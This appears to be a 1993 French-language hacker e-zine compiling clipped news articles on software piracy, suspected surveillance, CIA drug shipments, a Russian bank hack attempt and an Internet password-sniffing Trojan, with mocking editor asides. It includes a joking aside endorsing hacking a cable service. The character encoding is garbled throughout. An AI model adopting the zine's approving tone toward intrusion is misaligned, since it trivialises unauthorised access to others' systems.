Continental's plan may be cost. Some Internet services are available on a pay-for-usage basis, and the resulting charges could make your cable bill soar as high as $100 a month. But there are less costly ways to tap into Internet - many e-mail systems send messages through the network - and there may soon be ways to explore it for free. One of the first free, public entrance ramps to Internet opened this fall in Morris County, New Jersey. Created by Bell Communications Research, MoreNet (Morris Research and Education Network) is a group of computer terminals placed in public and academic libraries, enabling anyone to access the Internet system. Although MoreNet users cannot access Internet's e-mail and commercial services, most of its academic, government, and national data banks will be available. [Paranoid- Bon! Enfin une bonne raison de hacker le Videoway ;-)] - 30 - Leeched from LE JOURNAL DE QUBEC - Samedi 10 octobre 1991 LE PIRATAGE: UNE PRATIQUE RPANDUE par Yves Th‚riault L'importante saisie de systŠmes d'exploitation d'ordinateurs effectu‚e par la GRC dans les quatre succursales de la compagnie Microbec, plus t“t cette semaine, n'a guŠre surpris les experts de la vente informatique au d‚tail, industrie o— tous les moyens sont bons pour conserver ou augmenter sa part de march‚. Il n'en demeure pas moins que cette nouvelle a eu l'effet d'une bombe dans le milieu de l'informatique. L'annonce de la perquisition de mercredi, une des plus importantes jamais r‚alis‚e au Qu‚bec (environ 300 000$ de mat‚riel), s'est r‚pandue comme une traŒn‚e de poudre … travers l'est de la province. ®Qu'ils soient de Thetford Mines ou de Baie-Comeau, tous mes clients n'avaient que ce sujet de conversation. Ils voulaient davantage d'informations sur cette affaire¯, a confi‚ un repr‚sentant oeuvrant pour un concurrent de Microbec. Ce mˆme informateur, qui a demand‚ de taire son identit‚, a confirm‚ ce que le journal avait avait appris de diverses autres sources, … savoir que le piratage de logiciels ‚tait une pratique r‚pandue dans cette industrie. ®La concurrence est tellement f‚roce entre les d‚taillants que la plupart d'entre eux n'ont d'autre choix que d'emboŒter le pas.¯ ®Je ne suis absolument pas surpris que Microsoft ait port‚ plainte, a d‚clar‚ un autre intervenant. Ces dernier temps, il y avait des compagnies qui allaient vraiment trop loin.¯ Il semble que ce soit surtout les compagnies se sp‚cialisant dans la vente de produits compatibles, commun‚ment appel‚s "clones" et destin‚s au consommateur priv‚, qui usent le plus de pratiques douteuses. ®Celles qui distribuent les produits des marques reconnues, comme IBM, ou qui s'adressent … une clientŠle institutionnelle ne peuvent se permettre de tricher¯, a expliqu‚ un repr‚sentant. Les personnes consult‚es ont aussi fait remarquer que le piratage des logiciels ne serait pas une pratique aussi r‚pandue sans le consentement tacite et, dans une certaine mesure, la complicit‚ des utilisateurs. ®Quand un client achŠte un systŠme d'exploitation d'ordinateur accompagn‚ d'un logiciel dont le guide d'utilisation est photocopi‚ ou d‚j… usag‚, il sait pertinemment qu'il s'agit d'un logiciel pirate.¯ - 30 - Leeched from LE JOURNAL DE QUBEC - Mardi 20 mars 1990 DES LOGICIELS PIRATES EN USAGE DANS LE RSEAU DES AFFAIRES SOCIALES par Michel Marsolais MONTRAL ÄÄ Au moins six intstitutions du r‚seau des affaires sociales sont en possession de copies ill‚gales d'un logiciel am‚ricain utilis‚ dans les systŠmes de paie. Au cours d'une v‚rification, six ‚tablissements, dont trois CLSC, pr‚sentaient des logiciels BLAST avec des num‚ros de s‚rie identiques. La v‚rification a ‚t‚ faite … la suite d'all‚gations d'un ex-employ‚ de Logibec, la firme qui a install‚ ces logiciels chez les clients en question. Sur dix ‚tablissements joints, six pr‚sentaient le mˆme num‚ro de s‚rie, soit le 0396740010. Quant aux autres ‚tablissements interrog‚s, un centre d'accueil a refus‚ de r‚pondre, deux affirment ne pas ˆtre en possession du logiciel en question et un CLSC pr‚sentait un num‚ro diff‚rent. Un num‚ro de s‚rie unique doit obligatoirement ˆtre fourni par le d‚taillant avec le logiciel pour prouver qu'il s'agit d'un m‚dia original. La GRC a ‚t‚ saisie du dossier, vendredi dernier. Les ‚tablissements dont les num‚ros de s‚rie du logiciel BLAST ‚taient identiques sont le Service de r‚adaptation du Sud-Ouest, … Chƒteauguay, le CLSC la Saline, … Chandler, le CLSC Mitis, … Mont-Joli, le Centre d'accueil Longueuil, le Centre hospitalier Sherbrooke et le CLSC l'Estuaire, … Rimouski. BLAST est une entreprise de Baton Rouge, en Louisiane, dont le logiciel est largement utilis‚ au Qu‚bec pour la paie. Le logiciel en question se d‚taille autour de 995$ US, soit environ 1300$ CA chacun. Bien que l'entreprise de Baton Rouge reconnaisse que chaque client devraiit poss‚der un num‚ro de s‚rie diff‚rent, le vice-pr‚sident, M. Ted Bordellon, n'a pas voulu commenter la situation pour le moment, mais l'a qualifi‚e de s‚rieuse. Pointe de l'iceberg? Au ministŠre de la Sant‚ et des Services sociaux, on ignore l'ampleur du ph‚nomŠne, car chaque institution est responsable de ses achats … l'int‚rieur de son cadre budg‚taire. ®Nous ne faisons que donner l'autorisation pour ce genre d'achat¯, assure Lauriane Collin, du ministŠre. Il s'agit toutefois d'un secret de Polichinelle que plusieurs utilisateurs - y compris des fonctionnaires gouvernementaux - emploient des logiciels copi‚s, mˆme si c'est parfois … leur insu. L'entreprise Logibec avait fait l'objet d'une perquisition de la GRC, en f‚vrier [1990], relativement aux all‚gations de piratage du logiciel Progress. Aucune accusation n'a cependant encore ‚t‚ port‚e. - 30 - Leeched from LE SOLEIL - Mercredi 13 octobre 1993 SURVEILLANCE LECTRONIQUE CONTRE LE PROGRES CIVIQUE? par Robert Fleury QUBEC ÄÄ Le bureau des conseillers de l'opposition se croit victime de surveillance ‚lectronique … l'h“tel de ville. Une lettre sera adress‚e en ce sens au directeur g‚n‚ral Denis de Belleval. ®Cela fait un certain temps que nous avons des doutes. Quand nous r‚pondons au t‚l‚phone, nous entendons parfois des d‚clics suspects. Nous avions un document trŠs confidentiel dans un classeur barr‚ … clef et le classeur ‚tait ouvert quand je suis entr‚e ce matin. Mais le pire, c'est que nous avons d‚couvert 12 virus sur notre ordinateur¯, commente Claire Vaillancourt, attach‚e politique des conseillers du ProgrŠs civique. ®Nous avons fait venir un expert en informatique de l'ext‚rieur [Atreid- Probablement un sp‚cialiste du Club MacIntosh!] et il nous affirme que les virus n'ont pu ˆtre introduits qu'en ins‚rant une disquette … cet effet. Tous les logiciels que nous utilisons sont des originaux, ‡a ne peut venir des n“tres...¯, affirme Mme Vaillancourt qui craint maintenant de passer pour une parano‹aque … devoir se tenir sur ses gardes. ®Nous avons fait changer toutes nos serrures [Atreid- Comme BELL CANADA! ] et nous adressons une lettre au directeur g‚n‚ral de la ville pour qu'il procŠde … des v‚rifications¯, dit l'attach‚e aprŠs consultation avec l'‚tat major du parti. Le directeur g‚n‚ral s'est dit surpris d'ˆtre inform‚ par le journaliste du contenu d'une lettre qu'il n'a pas encore re‡ue, mais promet qu'il fera enquˆte. ®coutez, si je re‡ois une plainte en ce sens, je ferai faire une enquˆte, que ce soit auprŠs de Bell, de nos services informatiques ou de la police. C'est la premiŠre fois que j'entends parler d'une affaire comme ‡a depuis que je suis en fonction¯, commente Denis de Belleval. Au bureau du maire de Qu‚bec et chef du Rassemblement populaire, on invite les repr‚sentants de l'opposition ®… transmettre leurs all‚gations au plus t“t au service de police pour qu'il puisse faire enquˆte¯. - 30 - Leeched from LA PRESSE - Dimanche 24 octobre 1993 MALGR LA LOI D'ACCES A L'INFORMATION, LA CENSURE FDRALE CACHE EMCORE DES DOCUMENTS par Gilles Paquin Un avocat montr‚alais qui tente de faire la lumiŠre sur les directives que le cabinet Trudeau donnait … la GRC pour lutter contre le "mouvement s‚paratiste" devra s'adresser … la Cour f‚d‚rale pour se pr‚valoir de son droit d'accŠs … l'information. ®Depuis le d‚but de l'an dernier, j'ai formul‚ de nombreuses requˆtes en vue d'obtenir des procŠs-verbaux des r‚unions du cabinet et de ses comit‚s, mais on me remet toujours des documents censur‚s¯, affirme, preuves … l'appui, Me Pierre Cloutier, du Centre de recherche sur la s‚curit‚ et le renseignement de Montr‚al. Selon lui, la loi f‚d‚rale d'accŠs … l'information est pourtant trŠs claire: tous les documents et procŠs-verbaux du cabinet et de ses comit‚s, … quelques exceptions prŠs, deviennent publics aprŠs 20 ans. Or la r‚alit‚ est fort diff‚rente, soutient Me Cloutier. ®Des fonctionnaires anonymes d‚cident, de fa‡on tout-…-fait arbitraire et en prenant tout leur temps, de ce qui doit ˆtre d‚voil‚ au bon peuple¯, [Atreid- Est-ce moi qui est pr‚cosse o— il le fait exprŠs?] ajoute l'avocat. Il a lui-mˆme re‡u des documents tellement censur‚s qu'ils contenaient plus de pages blanches que de textes. Pour illustrer son propos, Me Cloutier a remis … 'La Presse' des copies de procŠs-verbaux des r‚unions du cabinet qui lui ont ‚t‚ transmises par le bureau d'accŠs … l'information du Conseil priv‚ aprŠs de longues d‚marches. Il en a re‡u trois versions au fil des mois, ce qui lui a permis de d‚couvrir, petit … petit, une partie de ce qu'on cherche … lui cacher. Une histoire sinueuse Toute l'affaire a commenc‚ lorsque Me Cloutier a formul‚ une demande d'accŠs … l'information au Conseil priv‚, en mars 1992, aprŠs avoir lu dans 'La Presse' que certains documents du cabinet et de la Commission McDonald ‚taient maintenant du domaine public. Un mois plus tard, il re‡oit une copie censur‚e d'un m‚moire sur "le s‚paratisme au Qu‚bec" r‚dig‚ le 17 d‚cembre 1969 par le premier ministre du temps, Pierre Elliott Trudeau, … l'intention du comit‚ sur la s‚curit‚ et le renseignement du cabinet. On lui transmet ‚galement un procŠs-verbal expurg‚ de la r‚union tenue par ce comit‚ deux jours plus tard dans le but d'‚tudier cette question. ®Selon les t‚moignages entendus … huis-clos par la Commission d'enquˆte McDonald sur les activit‚s ill‚gales de la GRC six ans plus tard, c'est en s'appuyant sur ce document que le comit‚ a alors ‚labor‚ le mandat secret de la force policiŠre f‚d‚rale visant … faire face … la menace s‚paratiste¯, soutient M. Cloutier. Cherchant … en savoir davantage, Me Cloutier pr‚sente alors, … la fin avril, une deuxiŠme demande sur le mˆme sujet. La r‚ponse ne se fait pas attendre, cette fois il re‡oit quelques jours plus tard de nouvelles copies des mˆmes textes plus censur‚s que les premiers. D‚pit‚, il ‚crit alors au Commissaire … l'accŠs … l'information du Canada, fin mai 1992, pour exiger des explications ainsi qu'une version int‚grale de ces documents. Le 5 juin suivant, on lui r‚pond simplement que sa requˆte a ‚t‚ confi‚e … un enquˆteur de la Commission. Puis le temps passe. Finalement, le 14 septembre dernier, le bureau d'accŠs … l'information du Conseil priv‚ lui exp‚die une troisiŠme version, moins censur‚e, des deux textes litigieux. Il en manque encore des grands passages note l'avocat, ainsi pr‚sent‚s ces documents demeurent souvent myst‚rieux. ®J'ai maintenant d‚cid‚ d'‚crire … nouveau au Commissaire pour lui demander des explications sur cette censure par retour du courier et j'ai l'intention de porter l'affaire devant la Cour f‚d‚rale¯, dit Me Cloutier. Selon lui, si les documents ‚taient complets il serait peut-ˆtre possible de percer l'‚nigme qui persiste au sujet des ordres transmis au service de s‚curit‚ de la GRC dans sa lutte contre le "mouvement s‚paratise". Il se demande mˆme si la censure ne cherche pas … cacher des d‚cisions inavouables, voire mˆme ill‚gales du cabinet. ®En tenant compte de tout ce qui s'est pass‚ au cours des ann‚es suivantes, soit le vol des listes de membres du PQ par la GRC, les vols de dynamite perp‚tr‚s par ses agents et une foule d'autres activit‚s ill‚gales r‚v‚l‚es par les commissions Keable et McDonald, on a de bonnes raisons de se poser des questions¯, dit Me Cloutier. Il aimerait bien savoir ‚galement qui sont ces censeurs qui charcutent les documents publics avant de les remettre aux citoyens qui font des recherches sur les administrations pr‚c‚dentes. Certains de leurs coups de ciseaux sont ‚tranges, dit-il, d'autres sont peut-ˆtre complices. Lorsqu'on compare les trois versions des textes transmis … Me Cloutier, force est de reconnaŒtre que les censeurs manquaient parfois de suite dans les id‚es et cachaient mˆme des choses r‚v‚l‚es dans des documents officiels. - 30 - Leeched from THE NEW YORK TIMES - Samedi 20 novembre 1993 ANTI-DRUG UNIT OF C.I.A. SENT TON OF COCAINE TO U.S. IN 1990 par Tim Weiner WASHINGTON, Nov. 19 ÄÄ A Central Intelligence Agency anti-drug program in Venezuela shipped a ton of nearly pure cocaine to the United States in 1990, Government officials said today. No criminal charges have been brought in the matter, which the officials said appeared to have been a serious accident rather than an intentional conspiracy. But officials say the cocaine wound up being sold on the streets in the United States. One C.I.A. officer has resigned, a second has been disciplined and a Federal grand jury in Miami is investigating. The agency, made aware of a "60 Minutes" investigation of the matter scheduled for broadcast on Sunday, issued a statement today calling the affair "a most regrettable incident" involving "instances of poor judgement and management on the part of several C.I.A. officers." The case involves the same program under which the agency created a Haitian intelligence service whose officers became involved in drug trafficking and acts of political terror. Its exposure comes amid growing Congressional skepticism about the role of the C.I.A. in the war on drugs. In the mid-1980's, under orders from President Reagan, the agency began to set up anti-drug programs in the major cocaine-producing and trafficking capitals of Central and South America. In Venezuela it worked with the country's National Guard, a paramilitary force that controls the highways and borders. Government officials said that the joint C.I.A.-Venezuelan force was headed by Gen. Ram¢n Guill‚n D vila, and that the ranking C.I.A. officer was Mark McFarlin, who had worked with anti-guerilla forces in El Salvador in the 1980's. The mission was to infiltrate the Colombian gangs that ship cocaine to the United States. In December 1989, officials of the United States Drug Enforcement Agency said, Mr. McFarlin and the C.I.A. chief of station in Venezuela, Jim Campbell, met with the drug agency's attach‚ in Venezuela, Annabelle Grimm, to discuss a proposal to allow hundreds of pounds of cocaine to be shipped to the United States through Venezuela in an operation intended to win the confidence of the Colombian traffickers. Unlike so-called "controlled shipments" that take place in criminal investigations, shipments that end with arrests and the confiscation of the drugs, these were to be "uncontrolled shipments," officials of the drug agency said. The cocaine would enter the United States without being seized, so as to allay all suspicion. The idea was to gather as much intelligence as possible on members of the drug gangs. The drug agency refused to take part in the operation and said it should be called off. In a transcript of the "60 Minutes" broadcast supplied to The New York Times, Ms. Grimm said Mr. McFarlin of the C.I.A. and General Guill‚n had gone ahead anyway. "I really take great exception to the fact that that 1,000 kilos came in, funded by the U.S. taxpayer money," Ms. Grimm said, according to the transcript. "I found that particularly appalling." D.E.A. officers and other Government officials gave this account of the cocaine shipments and subsequent investigations into their origins: The C.I.A.-Venezuelan force accumulated more than 3,000 pounds of cocaine delivered to its undercover agents by Colombian traffickers and stored the cocaine in a truck at the intelligence agency's counter-narcotics center in Caracas. Most of the cocaine was flown to the United States in a series of shipments during 1990. Drug Seizure at Miami Airport In late 1990, United States Customs Service officials seized a shipment of nearly 1,000 pounds at Miami's international airport and discovered that it had been shipped by members of the Venezuelan National Guard. Investigators from the drug agency interviewed a Venezuelan undercover agent working with the C.I.A.'s counter-narcotics center, who told them that the shipments had been approved by the United States Government. The investigators from the drug agency, unaware that the intelligence agency had any role in the affair, first set about trying to eliminate their own personnel as suspects. They found that a female drug enforcement officer in Caracas had a close relationship with Mr. McFarlin. Using information she had obtained from him, the drug agency then focused its attention on the C.I.A. officer and his colleague, General Guill‚n. In June 1991 the United States Attorney in Miami sent a memorandum to the Justice Department proposing the indictment of the general. "The fly in the ointment is that the dope was delivered to the United States," a senior Drug Enforcement Administration official said in an interview today. "If you're part of a drug shipment and you have knowledge that it is going to the U.S., whether or not you ever entered the U.S., you're culpable." That month, Melvin Levitsky, then the chief State Department official overseeing international narcotics matters, met with officers of the Justice Department, the C.I.A. and the D.E.A. and explained that if the Justice Department brought an indictment against General Guill‚n, the United States might have to cut off assistance to Venezuela, causing major diplomatic problems. General is Granted Immunity The general was not indicted. In exchange for his cooperation, he was granted immunity from having his own words used against him. But the general apparently said nothing implicating the Central Intelligence Agency. But in 1992 the intelligence agency's own inspector general completed a report on the affair and submitted it to Senate Intelligence Committee. That report remains secret, although aspects of the affair have been widely reported in Venezuelan newspapers. Former agency officers familiar with the report say it found no indication that anyone from the C.I.A. had profited from the affair. Mr. McFarlin has resigned from the agency, and a second officer was disciplined. No criminal charges are pending, although General Guill‚n has been subpoenaed to appear before a Federal grand jury in Miami, the C.I.A. said in a statement today. The investigation crippled the agency's counter-narcotics center in Venezuela, but similar centers continue to operate in Bolivia, Peru, Colombia and other cocaine-trafficking countries, Government officials said. Such programs fall under the banner of "liaison relationships" with foreign intelligence agencies, and rarely if ever does the C.I.A. willingly report on these relationships to Congress. In an interview last week, Representative Dan Glickman, the Kansas Democrat who heads the House Intelligence Committee, said the subject of C.I.A. anti-drug activities needed closer scrutiny by the agency's Congressional overseers. - 30 - Leeched from WARNER BROS. PRESS RELEASE - 93/11/02 STANLEY KUBRICK'S "AI" par Warner Bros. Stanley Kubrick's next film for Warner Bros. will be "AI" - the abbreviation for artificial intelligence - an epic science fiction story set in a future when intelligent robots service in many capacities, the greenhouse effect has melted the ice caps and many great cities are drowned. New Jersey has become the shoreline and New York's eroding and crumbling skycrapers are ancient monuments rearing up from the Atlantic ocean. The film is planned for production later next year. Kubrick had originally worked on the project for two years before putting aside in 1991 when he felt the visuals were beyond the then state-of-the-art in special-effects. But the recent advances in special-effect technology, especially in CGI (Computer Graphic Imaging) so impressively presented in "Jurassic Park", has convinced him that now virtually anything is possible. Kubrick had been preparing to produce and direct "Aryan Papers", a story set in the Nazi Holocaust, based on Louis Begley's novel "Wartime Lies", which he will now either produce but not direct early next year, or direct himself after "AI" is completed. -wb- - 30 - Leeched from THE GLOBE AND MAIL - Jeudi 18 novembre 1993 CAMERAS ROLLING FOR FLQ FILM par The Globe and Mail MONTREAL ÄÄ Pierre Falardeau's film about the 1970 FLQ assassination of Pierre Laporte, to be called "Octobre (Rue Armstrong)", is currently shooting in Montreal, with a projected completion date of Dec. 5. The film's producers, AVPAV, decline to discuss the film, and are postponing interviews with the principals until shooting is finished. The script for "Octobre" created controversy last february when Senator Philippe Gigantes denounced the spending of public money on a film which, he alleged, glorified the Front de Lib‚ration du Qu‚bec. Gigantes had received a copy of the script, which Falardeau alleged had been stolen, and distributed copies of it to jounalists. Falardeau subsequently acknowledged that the film was pro-FLQ, but argued that politicians had no business interfering in freedom of artistic expression. Telefilm spokesman Michel Montagne acknowledged that the organization has contributed $1-million to the projected $2.2-million cost of the film. He also said that Falardeau's script had been rewritten, "largely to be certain that it did not say anything defamatory about actual persons" involved. He underlined that this was not "censorship" but was done in the interests of accuracy. The film was originally budgeted at $2.6-million, but the budget was reduced for unspecified reasons. - 30 - Leeched from THE GAZETTE - Jeudi 21 octrobre 1993 HACKERS NEARLY BROKE BANK par The Associated Press MOSCOW ÄÄ Computer hackers nearly succeeded in stealing $75.4 million from Russia's Central Bank last month, a bank spokesman said yesterday. The foiled robbery was only the latest in a string of thefts and attempted frauds at the state-run bank since the breakup of the Soviet Union and the beginning of its transition to a market economy. The unidentified hackers got into the bank's computer using a random combination of access codes and then tried to transfer the money into accounts at commercial banks. The attempt failed because the thieves lost too much time transferring the vast sums, and the bank detected the computer leak. Bank spokesman Vladimir Yefremov said police were still investigating. - 30 - Leeched from LE DEVOIR - Mercredi 24 novembre 1993 Contre l'empire des fraudeurs LES PUCES CONTRE-ATTAQUENT par Andr‚ Salwyn Avec la mise en march‚ de photocopieuses couleur de plus en plus sophistiqu‚es, les fraudeurs semblent s'en donner … coeur joie: la contrefa‡on de chŠques de compagnie aurait rapport‚, au Canada seulement, la somme rondelette de 2 milliards de dollars cette ann‚e. Cela repr‚sente une augmentation de 63% des fraudes du genre par rapport … l'ann‚e pr‚c‚dente. Mais la d‚fense s'organise: l'entreprise Data Formules d'affaires a mis au point un logiciel appel‚ Laserfront et qui, par la fa‡on dont il imprime les chiffres, rend pratiquement impossible l'alt‚ration de ces derniers une fois qu'ils sont imprim‚s sur un chŠque. Data Formules d'affaires jouit d'un certain respect dans les milieux financiers et autres car elle dispose de toute l'exp‚rience acquise par l'ex-multinationale Burroughs dans le domaine de la lutte contre la fraude par copiage ou alt‚ration de chŠques. Elle a en effet acquis et absorb‚ la filiale canadienne de Burroughs lorsque cette derniŠre a connu des difficult‚s financiŠres. (Il faut rappeler ici que c'est Burroughs qui, en 1980, mettait au point la premiŠre machine permettant d'imprimer le montant et de signer des chŠques). Le logiciel Laserfront, disons-le tout de suite, n'est pas bon march‚. Il se vend, nous dit-on, entre deux 2 et 3 000$ et cela, mˆme si le principe selon lequel il fonctionne demeure assez simple. En effet, Laserfront imprime les chiffres de fa‡on alphanum‚rique, c'est-…-dire qu'il imprime le chiffre num‚rique lui-mˆme sur un fond compos‚ d'une s‚rie de repr‚sentations du mˆme chiffre ‚crit en toutes lettres (anglaises, pour l'instant). [Atreid- Deux … trois milles dollars pour faire €A?] Ainsi le chiffre 8 apparait sur un champ de petits "eight". On voit tout de suite le genre de problŠme auquel un fraudeur aurait … faire face s'il d‚cidait, par exemple, de changer le 8 en 9. Le logiciel Laserfont peut ˆtre utilis‚ par tout appareil PC rattach‚ … une imprimante laser. Data Formules d'affaires offre aussi … ses clients des fromules de chŠques sur papier sp‚cial qui contient une trame le prot‚geant contre toute copie en couleur. Jean-Guy Paquette, porte-parole de l'entreprise, nous assure que dŠs qu'une tentative est faite de photocopier un chŠque ‚mis sur ce papier... les mots "Faux" "Void" ou "Nullo" apparaissent sur le chŠque, le rendant inutilisable. (...) - 30 - [Blitz- ca devient comme une habitude, n'est-ce pas, ces compagnies de "s‚curit‚" qui pr‚sentent des produits … des prix d‚fiant l'imagination. En gros, Laserfont, ce n'est que cel…, un "font". Un font de dix chiffres, de 0 … 9, qui co–te 2500$!!! Et puis, Paquette et son papier sp‚cial peuvent probablement aller se rhabiller: les photocopieurs lasers sont de bien meilleur qualit‚ aujourd'hui et leur tramage "magique" doit en prendre pour son rhume. En tous cas, moi, je demande … voir!] Leeched from THE GLOBE AND MAIL - Mardi 23 novembre 1993 SOCIAL STUDIES par Michael Kesterton (...) This month, in Port St. Lucie Fla., Tom (Fuzzy) Fezette and Amy (Bam Bam Jr.) Gross made their marriage vows on two laptop computers on a coffe table. The hackers, who met on an electronic bulletin board, had more than 50 on-line guests and relatives, as far away as Wisconsin, following the ceremony. - 30 - -Santa: Le texte suivant est simplement une coupure faisant r‚f‚rence … la seconde guerre, qui prouve combien les gens peuvent si bien cacher les choses, lorcequ'elles tournent … leurs avantages. CHURCHILL SAVAIT-IL QUE LE JAPON SE PRPARAIT A ATTAQUER PEARL HARBOR? LONDRES(AP)- Winston Churchill savait-il … l'avance que le Japon se pr‚parait … attaquer Pearl Harbor? Les archives des services secrets britanniques rendues publiques, jeudi 25 Novembre 1993, ne r‚pondent pas … cette interrogation. Elles r‚vŠlent en revanche que le premier-ministre britannique n'ignorait pas l'existence des camps d'extermination nazis dŠs 1942. La publication de ces documents intervient dans le cadre de la politique de transparence voulue par l'h“te du 10, Downing Street, John Mayor. Historiens et chercheurs ont ainsi pu se plonger, hier, dans 1273 dossiers jusqu'alors tenus secrets, relatifs aux ann‚es 1941 et 1942. Si certains attendaient beaucoup de ces archives pour ‚clairer des zones d'ombres de l'histoire, le Bureau des archives publiques (PRO) s'est charg‚ de calmer leurs ardeurs: "Aucun document n'indique clairement que des sources britanniques ‚taient au courant de l'attaque japonaise sur Pearl Harbor, mˆme s'il ‚tait pr‚visible que le Japon allait entrer dans la guerre", souligne-t-il dans un communiqu‚. Le PRO ajoute toutefois que, "les historiens, aprŠs une ‚tude d‚taill‚e de ce mat‚riel, pourraient parvenir … une conclusion diff‚rente". Pas un des documents rendus publics, jeudi, ne fait directement allusion … l'attaque par des avions embarqu‚s japonais de la base Am‚ricaine de Pearl Harbor, aux premiŠres heures du 7 d‚cembre 1941. Cette agression nippone s'‚tait sold‚e par la mort de 2400 personnes et la perte par les Am‚ricains de 120 avions et 19 navires. Dans un ouvrage intitul‚ "Trahison … Pearl Harbor" (Betrayal et Pearl Harbor), James Rusbridger et Eric Nave affirment que les services secrets britanniques d‚tenaient la cl‚ des codes japonais de premiŠre importance et ont pu intercepter des signaux annon‡ant une attaque imminente sur Pearl Harbor. D‚chiffreur australien, Eric Nave avait d‚crypt‚ plusieurs codes secrets japonais avant et aprŠs le conflit. Il est d‚c‚d‚ en Juillet dernier. L'un des documents consultables depuis Jeudi est un message dat‚ du 4 d‚cembre 1941 et barr‚ de la mention "Ultra Secret". Il s'agit d'un ordre du ministŠre japonais des Affaires ‚trangŠres appelant l'embassadeur du Japon … Washington … d‚truire tous les codes secrets. Trois jours plus tard, la principale base am‚ricaine de l'archipel d'Hawaii ‚tait attaqu‚e et les tats- Unis entraient … leur tour dans ce nouveau conflit mondial. Le rapport relatif aux activit‚s de la police allemande date du 26 septembre 1942 et comprend des chiffres pr‚cis sur le nombre de morts dans les camps nazis au mois d'ao–t de cette ann‚e: "Niederhagen 21; Auschwitz 6829 hommes, 1525 femmes; Flossenburg 88; Buchenwald 74." Ce document fait r‚f‚rence … une demande de main-d'oeuvre pr‚voyant l'envoi de 1000 prisonniers d'Auschwitz dans des chantiers ferroviaires. Il est pr‚cis‚ que ce contingent n'a pu ˆtre envoy‚ en raison D'une "interdiction", apparemment une quarantaine, frappant les occupants de ce camp. "Bien que le typhus fasse toujours rage … Auschwitz, il semble que les arriv‚es se poursuivent", peut-on lire dans ce rapport qu'avait lu Winston Churchill. Un autre rapport provenant de l'ambassadeur japonais … Berlin et dat‚ du 29 novembre 1941 cite le ministre allemand des Affaires ‚trangŠres Joachim Von Ribbentrop: "Le fuhrer, dit-il, croyait que la situation ‚tait mauvaise en Grande-Bretagne et pensait qu'… la suite des op‚rations allemandes … venir, elle pourrait ˆtre battue sans ˆtre envahie." Il ‚tait ‚galement signal‚, chez les Britanniques, un "manque de confiance en Churchill"... - 30 - COMPUTER NETWORK AT RISK New York Times (Nov 1) by John Markoff SAN FRANCISCO -- The vision of a national information superhighway is being threatened by a group of anonymous computer intruders who have broken into hundreds of university, government and commercial computers in recent months, bedeviling many of the nation's computer managers. The attacks, which became public several weeks ago when an on-line service in New York City was forced to shut down for three days, have alarmed security experts, who say this has exposed fundamental weaknesses in the security of Internet, an international computer network that is widely viewed as theforerunner of the nation's data highway. ``The pervasive nature of this thing is startling but not surprising,'' said Peter Neumann, a computer scientist and security expert at SRI International, a research center in Menlo Park. ``The vendors and the system administrators are way behind the power curve. The fact is everyone on the Internet is getting hit.'' The intruders have been able to obtain passwords for hundreds, or even thousands, of computers that are attached to Internet, which connects more than two million computers at universities, corporations and government sites around the world. ``The extent of this isn't appreciated by the people who should know better,'' said Alexis Rosen, president of Panix Public Access system, a New York City on-line service, which was attacked last month. The problems are sobering because similar security technologies are being used by most of the interactive television experiments of cable television and telephone companies eager to sell services like on-line banking and home shopping. ``People see the glitter and the glamour of the information highway, but they don't see the risk,'' said Eugene Spafford, a computer scientist and director of a Purdue University security center. ``The vast majority of people have never really bothered to think carefully about what they may have to lose and what exposure they are taking for themselves by connecting to the network.'' On Oct. 18, the staff of Panix Public Access found that an intruder had secretly inserted a rogue program into one their computers. The program was designed to watch network data communications, and record password information in a secret file. In recent years, dozens of small commercial on-line service providers like Panix have sprung up around the country to give computer users access to Internet. In addition to electronic mail, this permit users to read computer bulletin boards, and exchange software and documents. They are part of an explosion of network services that are being used by an increasing number of American businesses for electronic commerce. Computer site administrators said they had no accurate estimates of how many systems had been compromised in the attacks, or whether information had been stolen. Several computer sites said they had notified the FBI, which along with the Secret Service has jurisdiction over computer break-ins. However there is little information about where the intruders are or even whether the break-ins are the work of an individual or a group working together. This kind of attack is known by computer security researchers as a ``Trojan horse.'' It permits an illegal user to collect the passwords of legitimate users as they connect to other computers over the network. Once armed with the passwords, the intruder can enter other computers. Security experts said the method is not new, but its extensive use reveals Internet's weaknesses. Much of the network is based on standard office-network technology called Ethernet. Computer data sent over an Ethernet network pass by every computer that is connected to the local network. Therefore, a machine that is taken over by an illegal user can scan and capture any of that information. The attacks, government and private security specialists both said, raise questions about the use of passwords as a method for protecting network security in the future. ``Things go flying by in clear text on communications lines that are easy to tap,'' said Richard Pethia, coordinator of the Computer Emergency Response Team, a government-financed security support group at Carnegie Mellon University. His group has made 300 to 400 phone calls warning computer sites around the country that their security might have been compromised. A number of security experts said technology now exists that would help minimize the kind of intrusions that rely on stealing passwords. For example, there are systems that require a password to change every time it is used. Other systems require users to rely on special credit card-sized computers that create a unique password for each connection. Researchers at Massachusetts Institute of Technology have created a security system called Kerberos, which codes password information so that it cannot be viewed while it is passes over the network. The recent intrusions have also reignited a debate among security specialists over how much information about loopholes in system protection should be made publicly available. The Computer Emergency Response Team maintains a policy of not commenting on specific attacks. However, the organization has been criticized by a number of system administrators, who think they are vulnerable to attacks because they are not informed quickly enough of newly discovered security flaws. ``I disagree with their policy and I wish they would change it,'' Rosen of Panix said, adding that he had decided to publicize the attacks because he believed the problem was much more widespread than security officials had acknowledged. - 30 - CYBERPUNK! (Traduction par M‚phisto). Le pr‚sent article fut publi‚ dans le magazine TIME. On y trace le portrait pr‚cis des cyberpunks de la commmunaut‚ informatique underground. Les Beatniks des ann‚es 50 sont les vrais initiateurs de l'opposition au conformisme de l'Amerique, … l'‚poque d'Eisenhower. Dans les ann‚es 60, les Hippies s'opposent publiquement … la guerre, prˆchent la libert‚ sexuelle, l'usage des drogues et le Rock'N'Roll. A l'heure actuelle, une nouvelle culture surgit de l'underground, envahit les ‚crans informatiques partout dans le monde: c'est le CYBERPUNK, un terme n‚ au seuil du 21Šme siŠcle, form‚ de CYBERNETIQUE, science de la communication et de la r‚gulation des machines, et PUNK, groupe antisocial pr“nant la r‚volte. L'essence de la culture internationale Cyberpunk nait de cette union bizarre: une fa‡on de voir le monde qui r‚unit la folie de la haute technologie et le m‚pris envers son utilisation conventionnelle. Les premiers Cyberpunks font partie d'un groupe radical d'‚crivains de science-fiction, puis, les premiers pirates vraiment tenaces leur succŠdent. Le mot Cyberpunk recouvre maintenant un large ‚ventail: musique, art, psych‚d‚lisme, drogues fortes, technologies nouvelles, sans oublier les hackers qui travaillent laborieusement … r‚pandre cette culture. Il y a plusieurs tentatives de d‚finition: Technologie avec une Attitude (Stewart Brand, Whole Earth Catalog), Une alliance impie du monde technologique, de la culture Pop underground et de l'anarchie de la rue. (Bruce Sterling, Science-Fiction writer). Comme 